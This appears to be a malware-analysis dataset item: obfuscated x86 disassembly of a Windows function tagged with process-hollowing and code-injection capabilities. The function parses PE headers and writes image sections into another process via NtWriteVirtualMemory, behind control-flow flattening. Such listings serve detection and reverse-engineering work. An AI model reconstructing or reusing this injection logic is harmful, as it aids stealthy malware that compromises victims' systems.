Function at 0x10008bc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x1006fa04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x164], 0x1d30c013
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x80c9e6b3
je 0x1000e602
jmp 0x10008bfc
mov eax, dword [ebp - 0x168]
sub eax, 0x811053ee
je 0x1000b3cc
jmp 0x10008c12
mov eax, dword [ebp - 0x168]
sub eax, 0x82cd7829
je 0x1000d2b6
jmp 0x10008c28
mov eax, dword [ebp - 0x168]
sub eax, 0x8300d039
je 0x1000bb0d
jmp 0x10008c3e
mov eax, dword [ebp - 0x168]
sub eax, 0x833fd0b1
je 0x1000e8d3
jmp 0x10008c54
mov eax, dword [ebp - 0x168]
sub eax, 0x843653c2
je 0x1000ba9f
jmp 0x10008c6a
mov eax, dword [ebp - 0x168]
sub eax, 0x86983657
je 0x1000c7b6
jmp 0x10008c80
mov eax, dword [ebp - 0x168]
sub eax, 0x86f0ca42
je 0x1000f7d0
jmp 0x10008c96
mov eax, dword [ebp - 0x168]
sub eax, 0x8822e590
je 0x1000dac2
jmp 0x10008cac
mov eax, dword [ebp - 0x168]
sub eax, 0x89135b65
je 0x1000f3c2
jmp 0x10008cc2
mov eax, dword [ebp - 0x168]
sub eax, 0x89ff2b74
je 0x1000a612
jmp 0x10008cd8
mov eax, dword [ebp - 0x168]
sub eax, 0x8d531ab0
je 0x1000b761
jmp 0x10008cee
mov eax, dword [ebp - 0x168]
sub eax, 0x8e5a9dcb
je 0x1000d817
jmp 0x10008d04
mov eax, dword [ebp - 0x168]
sub eax, 0x8ed4c6cf
je 0x1000f380
jmp 0x10008d1a
mov eax, dword [ebp - 0x168]
sub eax, 0x8fdb82a9
je 0x1000a958
jmp 0x10008d30
mov eax, dword [ebp - 0x168]
sub eax, 0x8ffc3e0c
je 0x1000d741
jmp 0x10008d46
mov eax, dword [ebp - 0x168]
sub eax, 0x8ffe3938
je 0x1000e57d
jmp 0x10008d5c
mov eax, dword [ebp - 0x168]
sub eax, 0x9036aa9a
je 0x1000d452
jmp 0x10008d72
mov eax, dword [ebp - 0x168]
sub eax, 0x9059fc2f
je 0x1000f96d
jmp 0x10008d88
mov eax, dword [ebp - 0x168]
sub eax, 0x90f15f89
je 0x1000cf6f
jmp 0x10008d9e
mov eax, dword [ebp - 0x168]
sub eax, 0x91b41b44
je 0x1000cb88
jmp 0x10008db4
mov eax, dword [ebp - 0x168]
sub eax, 0x91c6f8b7
je 0x1000f075
jmp 0x10008dca
mov eax, dword [ebp - 0x168]
sub eax, 0x91ce64e4
je 0x1000deb1
jmp 0x10008de0
mov eax, dword [ebp - 0x168]
sub eax, 0x91e759a3
je 0x1000cece
jmp 0x10008df6
mov eax, dword [ebp - 0x168]
sub eax, 0x91f330c7
je 0x1000bb37
jmp 0x10008e0c
mov eax, dword [ebp - 0x168]
sub eax, 0x9235a358
je 0x1000d877
jmp 0x10008e22
mov eax, dword [ebp - 0x168]
sub eax, 0x936aa258
je 0x1000cc8d
jmp 0x10008e38
mov eax, dword [ebp - 0x168]
sub eax, 0x93b91348
je 0x1000f93a
jmp 0x10008e4e
mov eax, dword [ebp - 0x168]
sub eax, 0x93ef4d60
je 0x1000c267
jmp 0x10008e64
mov eax, dword [ebp - 0x168]
sub eax, 0x93f658d6
je 0x1000ee17
jmp 0x10008e7a
mov eax, dword [ebp - 0x168]
sub eax, 0x947157a5
je 0x1000e7dc
jmp 0x10008e90
mov eax, dword [ebp - 0x168]
sub eax, 0x9536e5b2
je 0x1000bd2c
jmp 0x10008ea6
mov eax, dword [ebp - 0x168]
sub eax, 0x9613d6c2
je 0x1000b60d
jmp 0x10008ebc
mov eax, dword [ebp - 0x168]
sub eax, 0x964c948f
je 0x1000ce1d
jmp 0x10008ed2
mov eax, dword [ebp - 0x168]
sub eax, 0x9720df6f
je 0x1000ab56
jmp 0x10008ee8
mov eax, dword [ebp - 0x168]
sub eax, 0x98be35c5
je 0x1000a9ce
jmp 0x10008efe
mov eax, dword [ebp - 0x168]
sub eax, 0x98eb2fa5
je 0x1000df8b
jmp 0x10008f14
mov eax, dword [ebp - 0x168]
sub eax, 0x9c2d3ba3
je 0x1000cd90
jmp 0x10008f2a
mov eax, dword [ebp - 0x168]
sub eax, 0x9cd1ee85
je 0x1000d808
jmp 0x10008f40
mov eax, dword [ebp - 0x168]
sub eax, 0x9d4c1872
je 0x1000bd8c
jmp 0x10008f56
mov eax, dword [ebp - 0x168]
sub eax, 0x9e522909
je 0x1000e8b2
jmp 0x10008f6c
mov eax, dword [ebp - 0x168]
sub eax, 0x9f5c5aa7
je 0x1000cb12
jmp 0x10008f82
mov eax, dword [ebp - 0x168]
sub eax, 0xa0370707
je 0x1000c140
jmp 0x10008f98
mov eax, dword [ebp - 0x168]
sub eax, 0xa041d719
je 0x1000ebab
jmp 0x10008fae
mov eax, dword [ebp - 0x168]
sub eax, 0xa1cf0570
je 0x1000e7aa
jmp 0x10008fc4
mov eax, dword [ebp - 0x168]
sub eax, 0xa4562716
je 0x1000f6d8
jmp 0x10008fda
mov eax, dword [ebp - 0x168]
sub eax, 0xa61a60b0
je 0x1000c523
jmp 0x10008ff0
mov eax, dword [ebp - 0x168]
sub eax, 0xa6614573
je 0x1000ed2b
jmp 0x10009006
mov eax, dword [ebp - 0x168]
sub eax, 0xa76c5ffb
je 0x1000e246
jmp 0x1000901c
mov eax, dword [ebp - 0x168]
sub eax, 0xa7e64f97
je 0x1000af79
jmp 0x10009032
mov eax, dword [ebp - 0x168]
sub eax, 0xa90a5252
je 0x1000f663
jmp 0x10009048
mov eax, dword [ebp - 0x168]
sub eax, 0xa90ca3c9
je 0x1000c4af
jmp 0x1000905e
mov eax, dword [ebp - 0x168]
sub eax, 0xaa335b16
je 0x1000d8ed
jmp 0x10009074
mov eax, dword [ebp - 0x168]
sub eax, 0xaa41a4fe
je 0x1000e91e
jmp 0x1000908a
mov eax, dword [ebp - 0x168]
sub eax, 0xaab2d31b
je 0x1000e678
jmp 0x100090a0
mov eax, dword [ebp - 0x168]
sub eax, 0xac6c79d4
je 0x1000b163
jmp 0x100090b6
mov eax, dword [ebp - 0x168]
sub eax, 0xac9efde2
je 0x1000f6c3
jmp 0x100090cc
mov eax, dword [ebp - 0x168]
sub eax, 0xacaa77cc
je 0x1000f7b2
jmp 0x100090e2
mov eax, dword [ebp - 0x168]
sub eax, 0xadbef3b3
je 0x1000f4fb
jmp 0x100090f8
mov eax, dword [ebp - 0x168]
sub eax, 0xadbfe16b
je 0x1000f3d1
jmp 0x1000910e
mov eax, dword [ebp - 0x168]
sub eax, 0xaf7f4de1
je 0x1000ddb6
jmp 0x10009124
mov eax, dword [ebp - 0x168]
sub eax, 0xb1e9418e
je 0x1000bb88
jmp 0x1000913a
mov eax, dword [ebp - 0x168]
sub eax, 0xb33b65cb
je 0x1000d992
jmp 0x10009150
mov eax, dword [ebp - 0x168]
sub eax, 0xb40e0fdf
je 0x1000f87f
jmp 0x10009166
mov eax, dword [ebp - 0x168]
sub eax, 0xb45da027
je 0x1000ac99
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x150], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x489d205e
sub edx, 1
add edx, 0x489d205e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdeefd58c
mov ecx, 0x6e4cc937
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
add edx, 0x128b55f2
sub edx, 1
sub edx, 0x128b55f2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x833fd0b1
mov ecx, 0x98be35c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xe0]
sub eax, 0x8842303e
add eax, ecx
add eax, 0x8842303e
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x833fd0b1
mov ecx, 0x2849c9f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x845a90d4
sub edx, 1
add edx, 0x845a90d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd970f20b
mov ecx, 0xdfff8cbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xb75c0d0f
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
sub edx, 0xb67a9c5
sub edx, 1
add edx, 0xb67a9c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xff4ad9f8
mov ecx, 0x621d8e6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
add edx, 0x35387f1b
sub edx, 1
sub edx, 0x35387f1b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfae82c72
mov ecx, 0x39c2dade
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
sub edx, 0x3cf625b2
sub edx, 1
add edx, 0x3cf625b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x16a1d42c
mov ecx, 0x4a830443
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x576b9c70
jmp 0x1000fb0a
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x15c]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov dword [ebp - 0x164], 0xe58e9666
jmp 0x1000fb0a
mov eax, dword [ebp - 0xa4]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xa8]
mov eax, 0x4d6feffb
mov ecx, 0x91f330c7
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0xcbcdcd50
sub edx, 1
add edx, 0xcbcdcd50
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x456a38d1
mov ecx, 0xb1e9418e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
add edx, 0xaf8bdf38
sub edx, 1
sub edx, 0xaf8bdf38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8dd8853
mov ecx, 0xd7a06a13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xe7d4e99e
jmp 0x1000fb0a
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
sub edx, 0x33f26da9
add edx, eax
add edx, 0x33f26da9
mov eax, dword [ebp - 0x150]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xadbef3b3
mov ecx, 0x64ef874
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
add edx, 0xb092022c
sub edx, 1
sub edx, 0xb092022c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c29a0b
mov ecx, 0xc7457296
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x85d1d4b0
sub edx, 1
add edx, 0x85d1d4b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa90a5252
mov ecx, 0x1e2edff2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x164], 0x2d91245e
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x80975b2
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x5d926406
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
add edx, 0xa300a235
sub edx, 1
sub edx, 0xa300a235
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd1d83958
mov ecx, 0x91b41b44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4562716
mov ecx, 0xe9c874b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov edx, dword [ebp - 0x54]
mov eax, 0x76e777f3
mov ecx, 0x584b1797
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
sub ecx, 0x56915a51
add ecx, 8
add ecx, 0x56915a51
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x409c56e9
mov ecx, 0x964c948f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0xde537a76
sub edx, 1
add edx, 0xde537a76
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0e655f
mov ecx, 0x58f3d9b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x8f4d9548
sub ecx, 8
add ecx, 0x8f4d9548
shr ecx, 1
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x17f662eb
sub edx, 1
add edx, 0x17f662eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52ef2e4d
mov ecx, 0x90f15f89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x365aab14
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x808403d8
sub edx, 1
add edx, 0x808403d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36d8cf34
mov ecx, 0xbc4de091
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
sub edx, 0xb7c14c30
sub edx, 1
add edx, 0xb7c14c30
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd6388b13
mov ecx, 0x7f82c7a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
add edx, 0xe1a85ed9
sub edx, 1
sub edx, 0xe1a85ed9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47f04c02
mov ecx, 0x605a5366
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x8e5a9dcb
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x2dd6f6d5
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
sub edx, 0x3b053198
sub edx, 1
add edx, 0x3b053198
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x86f0ca42
mov ecx, 0xaa335b16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x4c31597a
sub edx, 1
add edx, 0x4c31597a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91c6f8b7
mov ecx, 0xef511fb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x45e41704
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
add edx, 0x369c322e
sub edx, 1
sub edx, 0x369c322e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f75574
mov ecx, 0x3de77f8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x6ccc6c79
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0x1de8f4db
sub edx, 1
add edx, 0x1de8f4db
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14486d11
mov ecx, 0x1c28d077
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xca5494cf
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1c25c7fb
mov ecx, 0x3b64171f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
sub edx, 0xe1a34255
sub edx, 1
add edx, 0xe1a34255
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfb70820c
mov ecx, 0x627205b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
mov edx, ecx
sub edx, 0xde51020d
sub edx, 1
add edx, 0xde51020d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6adaa336
mov ecx, 0xaab2d31b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x93b91348
mov ecx, 0xeb275051
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x164], 0x947157a5
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
sub edx, 0xdd92ec9d
sub edx, 1
add edx, 0xdd92ec9d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ed4c6cf
mov ecx, 0xc0782b11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100115d0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
add eax, 0x215d7f21
add eax, ecx
sub eax, 0x215d7f21
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x164], 0x98be35c5
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
add edx, 0x1ca6fe8b
sub edx, 1
sub edx, 0x1ca6fe8b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6db02978
mov ecx, 0xd3f328e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
